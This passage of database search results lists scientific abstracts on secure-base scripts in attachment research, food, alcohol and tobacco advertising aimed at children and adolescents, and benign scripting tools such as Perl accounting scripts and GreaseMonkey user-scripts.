can be trusted to be supportive and responsive at times of stress. Results of Study 2 also suggest that recognizing the script is associated with those items of an attachment measure that concern giving and receiving support. Thus, these knowledge structures may shape how people process support-relevant information in their everyday lives, potentially affecting relationship outcomes and mental and physical health.

  8. Processing Information about Support Exchanges in Close Relationships: The Role of a Knowledge Structure

    PubMed Central

    Turan, Bulent

    2016-01-01

    People develop knowledge of interpersonal interaction patterns (e.g., prototypes and schemas), which shape how they process incoming information. One such knowledge structure based on attachment theory was examined: the secure base script (the prototypic sequence of events when an attachment figure comforts a close relationship partner in distress). In two studies (N = 53 and N = 119), participants were shown animated film clips in which geometric figures depicted the secure base script and asked to describe the animations. Both studies found that many people readily recognize the secure-base script from these minimal cues quite well, suggesting that this script is not only available in the context of specific relationships (i.e., a relationship-specific knowledge): The generalized (abstract) structure of the script is also readily accessible, which would make it possible to apply it to any relationship (including new relationships). Regression analyses suggested that participants who recognized the script were more likely to (a) include more animation elements when describing the animations, (b) see a common theme in different animations, (c) create better organized stories, and (d) later recall more details of the animations. These findings suggest that access to this knowledge structure helps a person organize and remember relevant incoming information. Furthermore, in both Study 1 and Study 2, individual differences in the ready recognition of the script were associated with individual differences in having access to another related knowledge: indicators suggesting that a potential relationship partner can be trusted to be supportive and responsive at times of stress. Results of Study 2 also suggest that recognizing the script is associated with those items of an attachment measure that concern giving and receiving support. Thus, these knowledge structures may shape how people process support-relevant information in their everyday lives, potentially affecting relationship outcomes and mental and physical health. PMID:26973562

  9. Design of an audio advertisement dataset

    NASA Astrophysics Data System (ADS)

    Fu, Yutao; Liu, Jihong; Zhang, Qi; Geng, Yuting

    2015-12-01

    Since more and more advertisements swarm into radios, it is necessary to establish an audio advertising dataset which could be used to analyze and classify the advertisement. A method of how to establish a complete audio advertising dataset is presented in this paper. The dataset is divided into four different kinds of advertisements. Each advertisement's sample is given in *.wav file format, and annotated with a txt file which contains its file name, sampling frequency, channel number, broadcasting time and its class. The classifying rationality of the advertisements in this dataset is proved by clustering the different advertisements based on Principal Component Analysis (PCA). The experimental results show that this audio advertisement dataset offers a reliable set of samples for correlative audio advertisement experimental studies.

  10. Children's recognition of advertisements on television and on Web pages.

    PubMed

    Blades, Mark; Oates, Caroline; Li, Shiying

    2013-03-01

    In this paper we consider the issue of advertising to children. Advertising to children raises a number of concerns, in particular the effects of food advertising on children's eating habits. We point out that virtually all the research into children's understanding of advertising has focused on traditional television advertisements, but much marketing aimed at children is now via the Internet and little is known about children's awareness of advertising on the Web. One important component of understanding advertisements is the ability to distinguish advertisements from other messages, and we suggest that young children's ability to recognise advertisements on a Web page is far behind their ability to recognise advertisements on television. Copyright © 2012 Elsevier Ltd. All rights reserved.

  11. Generation X and Objectionable Advertising: A Q-Sort of Senior Advertising Students' Attitudes toward Objectionable Advertising.

    ERIC Educational Resources Information Center

    Yssel, Johan C.; And Others

    A study investigated what a group of 29 senior advertising students, part of "Generation X," at a midwestern university found "objectionable" in 35 selected contemporary magazine advertising executions. Using a Q-sort, students ranked the advertisements and completed a personal interview. The majority of the advertisements that…

  12. Solar industry advertising guidelines. Task III

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Hostetler, J.S.

    The purpose of these guidelines is to acquaint SEIA members with basic principles of Federal Trade Commission (FTC) law related to advertising and sales representations in order to assist SEIA members in insuring that their advertising is fair and accurate when assessed against FTC standards, thereby avoiding potentially costly FTC action. The following are discussed: the nature of advertising, when is an advertisement deceptive, advertising of product certification and testing results, substantiation for advertising claims, advertising of tax credits, warranty advertising, potential liabilities under the FTC Act, and recommendations for avoiding FTC action. (MHR)

  13. 45 CFR 170.299 - Incorporation by reference.

    Code of Federal Regulations, 2012 CFR

    2012-10-01

    ... Drug Programs Prescriber/Pharmacist Interface SCRIPT Standard, Implementation Guide, Version 8, Release.... (1) National Council for Prescription Drug Programs Prescriber/Pharmacist Interface SCRIPT Standard...

  14. [Analysis of drug advertising in Spanish gynecology journals].

    PubMed

    Diez, Brezo; Hidalgo, Agustín

    2012-01-01

    To determine advertising pressure in three Spanish gynecology journals, to describe the characteristics of the drugs advertised and to analyze compliance with current regulatory standards in drug advertisements. We identified the number of advertisements, the characteristics of the drugs advertised, the minimum information required by legislation and the advertising message in the selected journals. A total of 139 advertisements were identified, corresponding to 33 distinct products (28 prescription medicines and five over-the-counter drugs). Advertising pressures were 18.13% in Progresos de Obstetricia y Ginecología, 16.18% in Acta Ginecológica and 5.21% in Clínica e Investigación en Ginecología y Obstetricia. Legislative failure occurred in 82.14% of the advertisements and in 22.22% of slogans, while 41.46% of advertising messages were misleading. A critical attitude to advertising among health professionals is advisable. Information contained in advertisements should be contrasted with official and other independent sources. Copyright © 2011 SESPAS. Published by Elsevier España. All rights reserved.

  15. Ptolemy Coding Style

    DTIC Science & Technology

    2014-09-05

    shell script that checks Java code and prints out an alphabetical list of unrec- ognized spellings. It properly handles namesWithEmbeddedCapitalization...local/bin/ispell. To run this script, type $PTII/util/testsuite/ptspell *.java • testsuite/chkjava is a shell script for checking various other...best if the svn:native property is set. Below is how to check the values for a file named README.txt: bash-3.2$ svn proplist README.txt Properties on

  16. Integrated Reconfigurable Intelligent Systems (IRIS) for Complex Naval Systems

    DTIC Science & Technology

    2009-12-31

    written. The new implementation supports the XML dialect called dashML. The plug-in is written in Java script using a flexible extension of the...human in the loop control was improved and documented, and the script for integration was developed; further study on theoretical framework for...reference damage controller was developed and tested; the model of human in the loop control was improved and documented, and the script for integrating

  17. The effect of written text on comprehension of spoken English as a foreign language.

    PubMed

    Diao, Yali; Chandler, Paul; Sweller, John

    2007-01-01

    Based on cognitive load theory, this study investigated the effect of simultaneous written presentations on comprehension of spoken English as a foreign language. Learners' language comprehension was compared while they used 3 instructional formats: listening with auditory materials only, listening with a full, written script, and listening with simultaneous subtitled text. Listening with the presence of a script and subtitles led to better understanding of the scripted and subtitled passage but poorer performance on a subsequent auditory passage than listening with the auditory materials only. These findings indicated that where the intention was learning to listen, the use of a full script or subtitles had detrimental effects on the construction and automation of listening comprehension schemas.

  18. Automating tasks in protein structure determination with the clipper python module

    PubMed Central

    McNicholas, Stuart; Croll, Tristan; Burnley, Tom; Palmer, Colin M.; Hoh, Soon Wen; Jenkins, Huw T.; Dodson, Eleanor

    2017-01-01

    Abstract Scripting programming languages provide the fastest means of prototyping complex functionality. Those with a syntax and grammar resembling human language also greatly enhance the maintainability of the produced source code. Furthermore, the combination of a powerful, machine‐independent scripting language with binary libraries tailored for each computer architecture allows programs to break free from the tight boundaries of efficiency traditionally associated with scripts. In the present work, we describe how an efficient C++ crystallographic library such as Clipper can be wrapped, adapted and generalized for use in both crystallographic and electron cryo‐microscopy applications, scripted with the Python language. We shall also place an emphasis on best practices in automation, illustrating how this can be achieved with this new Python module. PMID:28901669

  19. Texture for script identification.

    PubMed

    Busch, Andrew; Boles, Wageeh W; Sridharan, Sridha

    2005-11-01

    The problem of determining the script and language of a document image has a number of important applications in the field of document analysis, such as indexing and sorting of large collections of such images, or as a precursor to optical character recognition (OCR). In this paper, we investigate the use of texture as a tool for determining the script of a document image, based on the observation that text has a distinct visual texture. An experimental evaluation of a number of commonly used texture features is conducted on a newly created script database, providing a qualitative measure of which features are most appropriate for this task. Strategies for improving classification results in situations with limited training data and multiple font types are also proposed.

  20. Trial-Based Functional Analysis Informs Treatment for Vocal Scripting.

    PubMed

    Rispoli, Mandy; Brodhead, Matthew; Wolfe, Katie; Gregori, Emily

    2018-05-01

    Research on trial-based functional analysis has primarily focused on socially maintained challenging behaviors. However, procedural modifications may be necessary to clarify ambiguous assessment results. The purposes of this study were to evaluate the utility of iterative modifications to trial-based functional analysis on the identification of putative reinforcement and subsequent treatment for vocal scripting. For all participants, modifications to the trial-based functional analysis identified a primary function of automatic reinforcement. The structure of the trial-based format led to identification of social attention as an abolishing operation for vocal scripting. A noncontingent attention treatment was evaluated using withdrawal designs for each participant. This noncontingent attention treatment resulted in near zero levels of vocal scripting for all participants. Implications for research and practice are presented.

  1. Automated Sequence Processor: Something Old, Something New

    NASA Technical Reports Server (NTRS)

    Streiffert, Barbara; Schrock, Mitchell; Fisher, Forest; Himes, Terry

    2012-01-01

    High productivity required for operations teams to meet schedules Risk must be minimized. Scripting used to automate processes. Scripts perform essential operations functions. Automated Sequence Processor (ASP) was a grass-roots task built to automate the command uplink process System engineering task for ASP revitalization organized. ASP is a set of approximately 200 scripts written in Perl, C Shell, AWK and other scripting languages.. ASP processes/checks/packages non-interactive commands automatically.. Non-interactive commands are guaranteed to be safe and have been checked by hardware or software simulators.. ASP checks that commands are non-interactive.. ASP processes the commands through a command. simulator and then packages them if there are no errors.. ASP must be active 24 hours/day, 7 days/week..

  2. Scripted and Unscripted Science Lessons for Children with Autism and Intellectual Disability.

    PubMed

    Knight, Victoria F; Collins, Belva; Spriggs, Amy D; Sartini, Emily; MacDonald, Margaret Janey

    2018-02-27

    Both scripted lessons and unscripted task analyzed lessons have been used effectively to teach science content to students with intellectual disability and autism spectrum disorder. This study evaluated the efficacy, efficiency, and teacher preference of scripted and unscripted task analyzed lesson plans from an elementary science curriculum designed for students with intellectual disability and autism spectrum disorder by evaluating both lesson formats for (a) student outcomes on a science comprehension assessment, (b) sessions to criterion, and (c) average duration of lessons. Findings propose both lesson types were equally effective, but unscripted task analyzed versions may be more efficient and were preferred by teachers to scripted lessons. Implications, limitations, and suggestions for future research are also discussed.

  3. A Qualitative Analysis of the Effects of Victimization History and Sexual Attitudes on Women's Hypothetical Sexual Assault Scripts.

    PubMed

    Leiting, Kari A; Yeater, Elizabeth A

    2017-01-01

    This study examined qualitatively the effects of a sexual victimization history and sexual attitudes on 247 undergraduate women's written accounts of a hypothetical sexual assault. More severe victimization history was associated with script characteristics of greater alcohol use, knowing the man longer, and the context of a party. Greater endorsement of positive attitudes toward casual sex was related to script characteristics of greater alcohol use, acquiescing to the man, and not knowing the man as long. Finally, a more recent sexual assault was associated with script characteristics of having just met the man, the context of a party or date, and acquiescing to the man. © The Author(s) 2016.

  4. Advertisements promoting human papillomavirus vaccine for adolescent boys: does source matter?

    PubMed

    Pepper, Jessica K; Reiter, Paul L; McRee, Annie-Laurie; Brewer, Noel T

    2012-06-01

    Many parents recall hearing of human papillomavirus (HPV) vaccine through drug company advertisements. This study sought to examine whether parents accurately recall the source (ie, sponsor) of advertisements promoting HPV vaccine and the impact of drug company advertisements. A U.S. national sample of 544 parents of adolescent boys aged 11-17 participated in an online between-subjects experiment. Parents viewed an advertisement encouraging HPV vaccination for boys with a logo from a randomly assigned source. Parents rated trust, likability and motivation for vaccination while viewing the advertisement and later indicated who they believed sponsored it. Nearly half (43%) of parents who viewed a hypothetical advertisement containing a logo incorrectly identified the advertisement source. More parents correctly identified the source of drug company advertisements than advertisement from other sources (62% vs. 25%, OR 4.93, 95% CI 3.26 to 7.46). The majority of parents who saw a logo-free advertisement believed a drug company created it (60%). Among parents who correctly identified the advertisement source, drug company advertisements decreased motivation to vaccinate their sons, an association mediated by reduced liking of and trust in the advertisements. Parents were more accurate in identifying drug company advertisements, primarily because they tended to assume any advertisement was from a drug company. Public health organisations may need to take special measures to ensure their messages are not perceived as sponsored by drug companies.

  5. Food and beverage advertising on children's web sites.

    PubMed

    Ustjanauskas, A E; Harris, J L; Schwartz, M B

    2014-10-01

    Food marketing contributes to childhood obesity. Food companies commonly place display advertising on children's web sites, but few studies have investigated this form of advertising. Document the number of food and beverage display advertisements viewed on popular children's web sites, nutritional quality of advertised brands and proportion of advertising approved by food companies as healthier dietary choices for child-directed advertising. Syndicated Internet exposure data identified popular children's web sites and food advertisements viewed on these web sites from July 2009 through June 2010. Advertisements were classified according to food category and companies' participation in food industry self-regulation. The percent of advertisements meeting government-proposed nutrition standards was calculated. 3.4 billion food advertisements appeared on popular children's web sites; 83% on just four web sites. Breakfast cereals and fast food were advertised most often (64% of ads). Most ads (74%) promoted brands approved by companies for child-directed advertising, but 84% advertised products that were high in fat, sugar and/or sodium. Ads for foods designated by companies as healthier dietary choices appropriate for child-directed advertising were least likely to meet independent nutrition standards. Most foods advertised on popular children's web sites do not meet independent nutrition standards. Further improvements to industry self-regulation are required. © 2013 The Authors. Pediatric Obesity © 2013 International Association for the Study of Obesity.

  6. Socio-economic differences in outdoor food advertising in a city in Northern England.

    PubMed

    Adams, Jean; Ganiti, Ellie; White, Martin

    2011-06-01

    To explore differences in the prevalence of outdoor food advertising, and the type and nutritional content of advertised foods, according to an area-based marker of socio-economic position (SEP) in a city in Northern England. All outdoor advertisements in the city were identified during October-December 2009, their size (in m2) estimated and their location determined using a global positioning system device. Advertisements were classified as food or non-food. Food advertisements were classified into one of six food categories. Information on the nutritional content of advertised foods was obtained from packaging and manufacturer's websites. An area-based marker of SEP was assigned using the location of each advertisement, grouped into three affluence tertiles for analysis. A city in Northern England. None. In all, 1371 advertisements were identified; 211 (15 %) of these were for food. The advertisements covered 6765 m2, of which 1326 m2 (20 %) was for food. Total advertising and food advertising space was largest in the least affluent tertile. There was little evidence of socio-economic trends in the type or nutritional content of advertised foods. Despite an absence of socio-economic differences in the type and nutritional content of advertised foods, there were socio-economic differences in food advertising space. There may also be socio-economic differences in exposure to outdoor food advertising.

  7. The advertised diet: an examination of the extent and nature of food advertising on Australian television.

    PubMed

    Roberts, Michele; Pettigrew, Simone; Chapman, Kathy; Quester, Pascale; Miller, Caroline

    2013-08-01

    The aim of the present study was to describe food advertising and expenditure on Australian television, and to conduct an audit to assess what proportion of food and beverage television advertisements was consistent with dietary recommendations. Data were acquired from a national media monitoring company for advertisements broadcast in five major Australian cities from 1 September 2010 to 31 October 2010. Content analysis was undertaken on these advertisements and the advertised foods were assessed against the Australian Guide to Healthy Eating. The data also included advertising expenditures. Most advertised foods were non-core foods (63%), with few advertisements for fruits and vegetables (6%). Advertisements for non-core foods were significantly more frequent during prime time viewing periods (71% vs 60%; P<0.01). High levels of advertising for fast food (28%) and non-core beverages (24%) were recorded. The present study found that the foods advertised during the data-collection period were inconsistent with the recommended diet. There are clear areas for policy concern given that the majority of recorded advertisements were for foods classified as 'occasional foods', there were low levels of advertising for fruit and vegetables, and there were no social marketing messages to support healthy eating. SO WHAT? The findings of the study suggest that there is an urgent need for more comprehensive regulation of food advertising in Australia.

  8. An Interactive Teddy Bear Clinic Tour: Teaching Veterinary Students How to Interact with Young Children.

    PubMed

    Dalley, Jessica S; Creary, Patricia R; Durzi, Tiffany; McMurtry, C Meghan

    Although there are existing guidelines for teaching and learning skillful client communication, there remains a need to integrate a developmental focus into veterinary medical curricula to prepare students for interactions with children who accompany their companion animals. The objectives of this teaching tip are (1) to describe the use of a Teddy Bear Clinic Tour as an innovative, applied practice method for teaching veterinary students about clinical communication with children, and (2) to provide accompanying resources to enable use of this method to teach clinical communication at other facilities. This paper includes practical guidelines for organizing a Teddy Bear Clinic Tour at training clinics or colleges of veterinary medicine; an anecdotal description of a pilot study at the Ontario Veterinary College Smith Lane Animal Hospital; and printable resources, including a list of specific clinical communication skills, a sample evaluation sheet for supervisors and students, recommendations for creating a child-friendly environment, examples of child-friendly veterinary vocabulary, and a sample script for a Teddy Bear Clinic Tour. Informed by the resources provided in this teaching tip paper, the Teddy Bear Clinic Tour can be used at your facility as a unique teaching method for clinical communication with children and as a community outreach program to advertise the services at the facility.

  9. Educating the Consumer about Advertising: Some Issues. ERIC Digest.

    ERIC Educational Resources Information Center

    Gottlieb, Stephen S.

    Providing a basic overview of issues related to advertising and the consumer, this digest discusses the omnipresence of advertisements, suggesting ways for consumers to recognize advertising appeals. Deceptive advertising is discussed, with particular attention paid to financial advertising. (RS)

  10. 'I saw Santa drinking soda!' Advertising and children's food preferences.

    PubMed

    Lioutas, E D; Tzimitra-Kalogianni, I

    2015-05-01

    The influence of advertising on children's food preferences is well documented in the research literature. In this study we aim to examine the ways in which food advertising propels children's consumer behaviour and to investigate how food advertising affects the frequency of unhealthy food consumption. Data were drawn from a sample of elementary school children in the region of Thessaly (Greece). Three scales were used to measure children's lifestyle patterns, food consumption frequencies, and their response to advertising. Univariate and inferential statistics were used to answer the research questions. The analysis revealed that a significant proportion of children (47.4%) frequently consume unhealthy foods. Children who have little understanding of the persuasive intent of advertising rate advertised foods as healthier and more nutritious. The frequency of unhealthy food consumption is influenced by the entertaining dimension of advertising and the level of the motivational arousal after children's exposure to food advertisements. Food advertising impels children's consumer behaviour through four different modes. First, advertising engenders expectations, which raise purchase motivation. Second, the purchase of advertised foods is accompanied by positive feelings (happiness, satisfaction). Third, the entertaining dimension of advertising generates pleasant mood, which positively predisposes the evaluation of advertised foods. Fourth, children do not always possess the ability to recognize the persuasive nature of advertising. © 2014 John Wiley & Sons Ltd.

  11. Getting to know the competition: a content analysis of publicly and corporate funded physical activity advertisements.

    PubMed

    Berry, Tanya R; McCarville, Ron E; Rhodes, Ryan E

    2008-03-01

    The purpose of this research was to conduct a content analysis of physical activity advertisements in an effort to determine which advertisements were more likely to include features that may attract and maintain attention levels. Fifty-seven advertisements were collected from top circulation Canadian magazines. The advertisements ranged from publicly funded health promotion pieces to corporate sponsored advertisements using physical activity to sell a product. Advertisements were examined for textual and pictorial factors thought to increase attention allocated to advertising of this nature. Only two public health advertisements were found, and the majority of advertisements (57.9%) were from commercial advertisers using physical activity images to sell products or to encourage brand recognition. The advertisements originating with the private sector tended to possess most of the characteristics thought to attract the attention of readers. Once this attention was gained, however, most of these advertisements failed to highlight the benefits of physical activity. As a result, the positive effect of these advertisements may have been compromised. Public health advertisements were so infrequent that we could not compare their characteristics with those originating with the private sector. The characteristics with those we did find were inconsistent with those thought to attract and maintain attention levels. Results are discussed in terms of potential implications for promoting physical activity.

  12. Alcohol advertising: what makes it attractive to youth?

    PubMed

    Chen, Meng-Jinn; Grube, Joel W; Bersamin, Melina; Waiters, Elizabeth; Keefe, Deborah B

    2005-09-01

    This paper investigates the affective responses of youth toward specific elements featured in television alcohol advertisements (i.e., people character, animal character, music, story, and humor). It also examines the associations between advertising likeability and its potential influence. Respondents were 253 children and adolescents in California (47% male; aged 10-17). Data were collected using self-administered questionnaires in group settings. Respondents were shown a stimulus tape containing television advertisements for beer and soft drinks. The tape was stopped at the end of each advertisement to allow respondents to answer questions about that advertisement before viewing the next. Perceived likeability of beer advertisements is a function of the positive affective responses evoked by the specific elements featured in the advertisements. Liking of specific elements featured in beer advertisements significantly contributed to the overall likeability of these advertisements and subsequently to advertising effectiveness indicated by purchase intent of product and brand promoted by these advertisements. Advertisements that focus primarily on product qualities or send a message of legal drinking age were rated less favorably and evoked less desire to purchase the product. Implications for countering the effects of alcohol advertising on young people are discussed.

  13. Accounting Data to Web Interface Using PERL

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Hargeaves, C

    2001-08-13

    This document will explain the process to create a web interface for the accounting information generated by the High Performance Storage Systems (HPSS) accounting report feature. The accounting report contains useful data but it is not easily accessed in a meaningful way. The accounting report is the only way to see summarized storage usage information. The first step is to take the accounting data, make it meaningful and store the modified data in persistent databases. The second step is to generate the various user interfaces, HTML pages, that will be used to access the data. The third step is tomore » transfer all required files to the web server. The web pages pass parameters to Common Gateway Interface (CGI) scripts that generate dynamic web pages and graphs. The end result is a web page with specific information presented in text with or without graphs. The accounting report has a specific format that allows the use of regular expressions to verify if a line is storage data. Each storage data line is stored in a detailed database file with a name that includes the run date. The detailed database is used to create a summarized database file that also uses run date in its name. The summarized database is used to create the group.html web page that includes a list of all storage users. Scripts that query the database folder to build a list of available databases generate two additional web pages. A master script that is run monthly as part of a cron job, after the accounting report has completed, manages all of these individual scripts. All scripts are written in the PERL programming language. Whenever possible data manipulation scripts are written as filters. All scripts are written to be single source, which means they will function properly on both the open and closed networks at LLNL. The master script handles the command line inputs for all scripts, file transfers to the web server and records run information in a log file. The rest of the scripts manipulate the accounting data or use the files created to generate HTML pages. Each script will be described in detail herein. The following is a brief description of HPSS taken directly from an HPSS web site. ''HPSS is a major development project, which began in 1993 as a Cooperative Research and Development Agreement (CRADA) between government and industry. The primary objective of HPSS is to move very large data objects between high performance computers, workstation clusters, and storage libraries at speeds many times faster than is possible with today's software systems. For example, HPSS can manage parallel data transfers from multiple network-connected disk arrays at rates greater than 1 Gbyte per second, making it possible to access high definition digitized video in real time.'' The HPSS accounting report is a canned report whose format is controlled by the HPSS developers.« less

  14. Dental services advertising: does it affect consumers?

    PubMed

    Sanchez, P M; Bonner, P G

    1989-12-01

    Dental services advertising appears to be increasing. Despite their negative attitude toward advertising, as many as 20% of all dentists may now be advertising to meet changing conditions in a highly competitive market. Research on dental services advertising has provided a useful starting point for developing dental advertising strategies. However, it affords little understanding of how consumers may respond to the many types of information provided in dental services advertisements. The authors extend knowledge in this area by examining consumer response to dental advertising in an experimental setting.

  15. Socio-economic differences in exposure to television food advertisements in the UK: a cross-sectional study of advertisements broadcast in one television region.

    PubMed

    Adams, Jean; Tyrrell, Rachel; Adamson, Ashley J; White, Martin

    2012-03-01

    To document socio-economic differences in exposure to food advertising, including advertisements for foods high in fat, salt and sugar (HFSS) as defined by the UK Food Standards Agency's Nutrient Profiling Model. A cross-sectional survey. Information (including product advertised and viewing figures) on all advertisements broadcast in one UK region over one week (6-12 July 2009) was obtained. Food advertisements were identified and linked to nutritional information on the content of advertised foods. UK Tyne-Tees television region. Data were sourced from a UK-wide television viewing panel. Eleven per cent of advertising seen was for food and 63 % of food advertising seen was for HFSS foods. The proportion of all advertising seen that was for food was smaller among viewers in the least v. most affluent social grade (OR = 0·98, 99 % CI 0·95, 1·00). There was no difference in the proportion of food advertising seen that was for HFSS food between viewers in the most and least affluent social grades. Total exposure to both all food advertising and HFSS food advertising was 2·1 times greater among the least v. the most affluent viewers. While the least affluent viewers saw relatively fewer food advertisements, their absolute exposure to all food and HFSS food advertisements was higher than that of the most affluent viewers. Current UK restrictions prohibit advertisements for HFSS foods during programmes with a high proportion of child viewers. Extending these to all programming may reduce socio-economic inequalities in exposure to these advertisements and in diet and obesity.

  16. Alcohol advertising and youth.

    PubMed

    Saffer, Henry

    2002-03-01

    The question addressed in this review is whether aggregate alcohol advertising increases alcohol consumption among college students. Both the level of alcohol-related problems on college campuses and the level of alcohol advertising are high. Some researchers have concluded that the cultural myths and symbols used in alcohol advertisements have powerful meanings for college students and affect intentions to drink. There is, however, very little empirical evidence that alcohol advertising has any effect on actual alcohol consumption. The methods used in this review include a theoretical framework for evaluating the effects of advertising. This theory suggests that the marginal effect of advertising diminishes at high levels of advertising. Many prior empirical studies measured the effect of advertising at high levels of advertising and found no effect. Those studies that measure advertising at lower, more disaggregated levels have found an effect on consumption. The results of this review suggest that advertising does increase consumption. However, advertising cannot be reduced with limited bans, which are likely to result in substitution to other available media. Comprehensive bans on all forms of advertising and promotion can eliminate options for substitution and be potentially more effective in reducing consumption. In addition, there is an increasing body of literature that suggests that alcohol counteradvertising is effective in reducing the alcohol consumption of teenagers and young adults. These findings indicate that increased counteradvertising, rather than new advertising bans, appears to be the better choice for public policy. It is doubtful that the comprehensive advertising bans required to reduce advertising would ever receive much public support. New limited bans on alcohol advertising might also result in less alcohol counteradvertising. An important topic for future research is to identify the counteradvertising themes that are most effective with youth.

  17. When advertising turns "cheeky"!

    PubMed

    Burkitt, Jennifer A; Saucier, Deborah M; Thomas, Nicole A; Ehresman, Crystal

    2006-05-01

    Portraits typically exhibit leftward posing biases, with people showing more of their left cheek than their right. The current study investigated posing biases in print advertising to determine whether the product advertised affects the posing bias. As the posing bias may be decreasing over time, we also investigated changes in posing biases over a span of more than 100 years. The current investigation coded 2664 advertisements from two time periods; advertisements were coded for target group of advertisement (men, women, both) and posing bias (rightward, leftward, or central). Unlike other studies that typically observe a leftward posing bias, print advertisements exhibit a rightward posing bias, regardless of time-frame. Thus, print advertisements differ greatly from portraits, which may relate to the purpose of advertisements and the role of attractiveness in advertising.

  18. Attitudes toward Tobacco, Alcohol, and Non-Alcoholic Beverage Advertisement Themes among Adolescent Boys.

    PubMed

    Friedman, Katherine L; Roberts, Megan E; Keller-Hamilton, Brittney; Yates, Katherine A; Paskett, Electra D; Berman, Micah L; Slater, Michael D; Lu, Bo; Ferketich, Amy K

    2018-02-13

    Previous studies have examined what adolescents find appealing in tobacco and alcohol advertisements and how different themes in advertisements are used to manipulate consumer behaviors. Yet, we know little about the relationship between the themes portrayed in advertisements and youth attitudes towards those themes. This study compared attitudes towards advertisements for different consumer products in a sample of urban and rural adolescent boys in order to examine how key marketing themes impact adolescent attitudes towards those advertisements. Participants were 11- to 16-year-old boys (N = 1220) residing in either urban or rural Ohio Appalachian counties. Each participant viewed five print advertisements (one each for cigarettes, electronic cigarettes (e-cigarettes), smokeless tobacco (SLT), non-alcoholic beverages, and alcohol), presented in a random order, for eight seconds each. All advertisements had appeared in magazines that adolescent males commonly read. Attitudes towards each of the five advertisements were assessed. The advertisements were then coded for the presence of various themes, including social acceptance and masculinity. Analyses were conducted to determine associations between advertisement type and the attitude measure, and between the presence of a theme and the attitude measure. Overall, participants preferred non-tobacco advertisements to tobacco advertisements, rural participants had less positive attitudes and participants who had peers who used tobacco had more positive attitudes. Social acceptance and entertainment themes increased the appeal of SLT advertisements, and sex appeal increased the appeal of e-cigarette advertisements. Conclusions/Importance: Findings suggest that advertisements that promote the social nature of use in SLT advertisements may be of particular concern for their influence on adolescent boys.

  19. iHOPerator: user-scripting a personalized bioinformatics Web, starting with the iHOP website

    PubMed Central

    Good, Benjamin M; Kawas, Edward A; Kuo, Byron Yu-Lin; Wilkinson, Mark D

    2006-01-01

    Background User-scripts are programs stored in Web browsers that can manipulate the content of websites prior to display in the browser. They provide a novel mechanism by which users can conveniently gain increased control over the content and the display of the information presented to them on the Web. As the Web is the primary medium by which scientists retrieve biological information, any improvements in the mechanisms that govern the utility or accessibility of this information may have profound effects. GreaseMonkey is a Mozilla Firefox extension that facilitates the development and deployment of user-scripts for the Firefox web-browser. We utilize this to enhance the content and the presentation of the iHOP (information Hyperlinked Over Proteins) website. Results The iHOPerator is a GreaseMonkey user-script that augments the gene-centred pages on iHOP by providing a compact, configurable visualization of the defining information for each gene and by enabling additional data, such as biochemical pathway diagrams, to be collected automatically from third party resources and displayed in the same browsing context. Conclusion This open-source script provides an extension to the iHOP website, demonstrating how user-scripts can personalize and enhance the Web browsing experience in a relevant biological setting. The novel, user-driven controls over the content and the display of Web resources made possible by user-scripts, such as the iHOPerator, herald the beginning of a transition from a resource-centric to a user-centric Web experience. We believe that this transition is a necessary step in the development of Web technology that will eventually result in profound improvements in the way life scientists interact with information. PMID:17173692

  20. Advertising Theory and Practice.

    ERIC Educational Resources Information Center

    Sandage, C. H.; Fryburger, Vernon

    The social and economic functions of advertising, its role in business, how it works, and how it is planned and created are the subject of this textbook. Sections include basic values and functions, background for planning advertising strategy, the advertising message, advertising media, testing advertising effectiveness, and the advertising…

  1. UV tanning advertisements in national high school newspapers.

    PubMed

    Lofgreen, Seth J; Domozych, Renee; Doctor, Monica; Reimer, Christine; Self, Alyssa; Dellavalle, Robert P

    2017-04-15

    Many young adults have utilized indoor ultraviolet(UV) tanning, putting them at higher risk for development of skin cancers. Prior to the increased regulations on indoor tanning for minors, indoor tanning businesses marketed to teens through modalities such as advertisements in high school newspapers. The purpose of this study was to quantify tanning advertisements in high school newspapers published across the United States between August 2014 and July 2015. Online versions of the newspaper issues were available on issuu.com. Tanning advertisements appeared in 3 of 23 high school newspapers with advertisements of any kind(13%). Among all newspapers with advertisements, 10% were indoor tanning advertisements. One newspaper in Colorado contained advertisements of any kind and had 0 tanning advertisements. A prior study of Colorado high schools showed 11 of 23 schools (48%) to contain tanning advertisements. This suggests that there may be a decrease in indoor UV tanning advertisements owing to increased tanning regulation by state legislatures, national attention to UV tanning, or a general decrease in high school tanning advertisements.

  2. The Army Communications Objectives Measurement System (ACOMS): Annual Report, School Year 86/87

    DTIC Science & Technology

    1988-04-01

    assessments of advertising program effectiveness, assessments of advertising strategy efficiencies, management of the advertising program, and planning...market. ACOMS is being used for Army assessments of advertising program effectiveness, assessments of advertising strategy efficiencies, management of... advertising strategy and effectiveness and to begin the construction of an integrated model of the role of the Army’s advertising in the enlistment decision

  3. Variations in food and drink advertising in UK monthly women's magazines according to season, magazine type and socio-economic profile of readers: a descriptive study of publications over 12 months.

    PubMed

    Adams, Jean; Simpson, Emma; White, Martin

    2011-05-23

    Overweight and obesity are recognised nationally and internationally as key public health challenges. Food and drink advertising is one of the array of factors that influence both diet and physical activity choices and, hence, body weight and obesity. Little previous work has focused on food and drink advertising in magazines. We studied food and drink advertising in a wide range of popular UK monthly women's magazines published over a full year. We explored differences in the prevalence of food and drink advertising and the type of food and drinks advertised according to season, magazine type and socio-economic profile of readers. All advertisements in all issues of 18 popular UK monthly women's magazines published over 12 months were identified. For each food or drink advertisement, branded food and drinks were noted and categorised into one of seven food groups. All analyses were at the level of the individual advertisement. A total of 35 053 advertisements were identified; 1380 (3.9%) of these were for food or drink. The most common food group represented was 'food and drinks high in fat and/or sugar' (28.0% of food advertisements), the least common group was 'fruits & vegetables' (2.0% of food advertisements). Advertisements for alcohol accounted for 10.1% of all food advertisements. Food and drink advertisements were most common in summer, general interest magazines, and those with the most affluent readerships. There were some differences in the type of food and drink advertised across season, magazine type and socio-economic profile of readers. Food and drink advertisements represented only a small proportion of advertisements in UK women's monthly magazines. Food and drink advertisements in these magazines feature a high proportion of 'less healthy' foods. There were a number of differences across season, magazine type and according to the socio-economic profile of readers in the prevalence of food and drink advertisements. Fewer differences were seen in the type of food and drinks advertised.

  4. Variations in food and drink advertising in UK monthly women's magazines according to season, magazine type and socio-economic profile of readers: a descriptive study of publications over 12 months

    PubMed Central

    2011-01-01

